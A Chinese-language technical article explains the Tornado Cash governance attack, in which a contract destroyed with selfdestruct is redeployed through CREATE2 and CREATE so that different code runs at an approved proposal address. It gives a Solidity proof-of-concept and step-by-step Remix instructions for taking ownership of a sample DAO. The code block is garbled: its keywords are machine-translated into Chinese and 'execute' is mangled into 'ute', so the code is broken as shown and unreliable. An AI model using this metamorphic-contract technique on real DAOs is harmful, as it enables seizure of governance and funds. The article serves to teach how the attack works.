Tornado治理攻擊：如何同一個地址上部署不同的合約

大概兩週前（5 月20 日），知名混幣協議Tornado Cash 遭受到治理攻擊，黑客獲取到了Tornado Cash的治理合約的控制權（Owner）。

攻擊過程是這樣的：攻擊者先提交了一個“看起來正常”的提案， 待提案通過之後， 銷毀了提案要執行的合約地址， 並在該地址上重新創建了一個攻擊合約。

攻擊過程可以查看SharkTeam 的Tornado.Cash提案攻擊原理分析 [1] 。

這裡攻擊的關鍵是在同一個地址上部署了不同的合約， 這是如何實現的呢？

背景知識

EVM 中有兩個操作碼用來創建合約：CREATE 與CREATE2 。

CREATE 操作碼

當使用new Token() 使用的是CREATE 操作碼， 創建的合約地址計算函數為：

地址 tokenAddr = bytes20(keccak256(senderAddress, nonce))

創建的合約地址是通過創建者地址 + 創建者Nonce（創建合約的數量）來確定的， 由於Nonce 總是逐步遞增的， 當Nonce 增加時，創建的合約地址總是是不同的。

CREATE2 操作碼

當添加一個salt時new Token{salt: bytes32()}() ，則使用的是CREATE2 操作碼， 創建的合約地址計算函數為：

地址 tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))

創建的合約地址是創建者地址 + 自定義的鹽 + 要部署的智能合約的字節碼， 因此只有相同字節碼和使用相同的鹽值，才可以部署到同一個合約地址上。

那麼如何才能在同一地址如何部署不用的合約？

攻擊手段

攻擊者結合使用Create2 和Create 來創建合約， 如圖：

代碼參考自：

先用Create2 部署一個合約Deployer ， 在Deployer 使用Create 創建目標合約Proposal（用於提案使用）。 Deployer 和Proposal 合約中均有自毀實現（selfdestruct）。

在提案通過後，攻擊者把Deployer 和Proposal 合約銷毀，然後重新用相同的slat創建Deployer ， Deployer 字節碼不變，slat 也相同，因此會得到一個和之前相同的Deployer 合約地址， 但此時Deployer 合約的狀態被清空了， nonce 從0 開始，因此可以使用該nonce 創建另一個合約Attack。

攻擊代碼示例

此代碼來自：

// SPDX 許可證標識符：MIT pragma solidity ^0.8.17; 合約 DAO { 結構提案 { 地址目標； 布爾批准； 布爾泰特； } 地址 public owner = msg.sender; Proposal[] 公開提案； 功能批准（地址目標）外部{ require(msg.sender == owner, "未授權"); proposals.push(提案({target: target, approved: true, uted: false})); } 函數 ute(uint256 proposalId) 外部應付款 { 提案存儲提案 = proposals [proposalId] ; 要求（提案。批准，“未批准”）； 要求（！proposal.uted，“uted”）； proposal.uted = true; (bool ok, ) = proposal.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); require(ok, "委託調用失敗"); } } 合同提案{ 事件日誌（字符串消息）； 函數 uteProposal() 外部 { emit Log("DAO 批准的執行代碼"); } 函數 emergencyStop() 外部 { 自毀（應付（地址（0）））； } } 合同攻擊{ 事件日誌（字符串消息）； 地址公共所有者； 函數 uteProposal() 外部 { emit Log("執行的代碼未被 DAO 批准 :)"); // 例如 - 將 DAO 的所有者設置為攻擊者 owner = msg.sender; } } 合約 DeployerDeployer { 事件日誌（地址地址）； 函數部署（）外部{ bytes32 salt = keccak256(abi.encode(uint(123))); 地址addr =地址（新部署者{salt：salt}（））; 發出日誌（地址）； } } 合同部署者{ 事件日誌（地址地址）； 函數 deployProposal() 外部 { 地址地址=地址（新提案（））； 發出日誌（地址）； } 函數 deployAttack() 外部 { 地址地址=地址（新攻擊（））； 發出日誌（地址）； } 函數 kill() 外部 { 自毀（應付（地址（0）））； } }

大家可以使用該代碼自己在Remix 中演練一下。

1. 首先部署DeployerDeployer ， 調用DeployerDeployer.deploy() 部署Deployer ， 然後調用Deployer.deployProposal() 部署Proposal 。
2. 拿到Proposal 提案合約地址後， 向DAO 發起提案。
3. 分別調用Deployer.kill 和Proposal.emergencyStop 銷毀掉Deployer 和Proposal
4. 再次調用DeployerDeployer.deploy() 部署Deployer ， 調用Deployer.deployAttack() 部署Attack ， Attack 將和之前的Proposal 一致。
5. 執行DAO.ute 時，攻擊完成獲取到了DAO 的Owner 權限。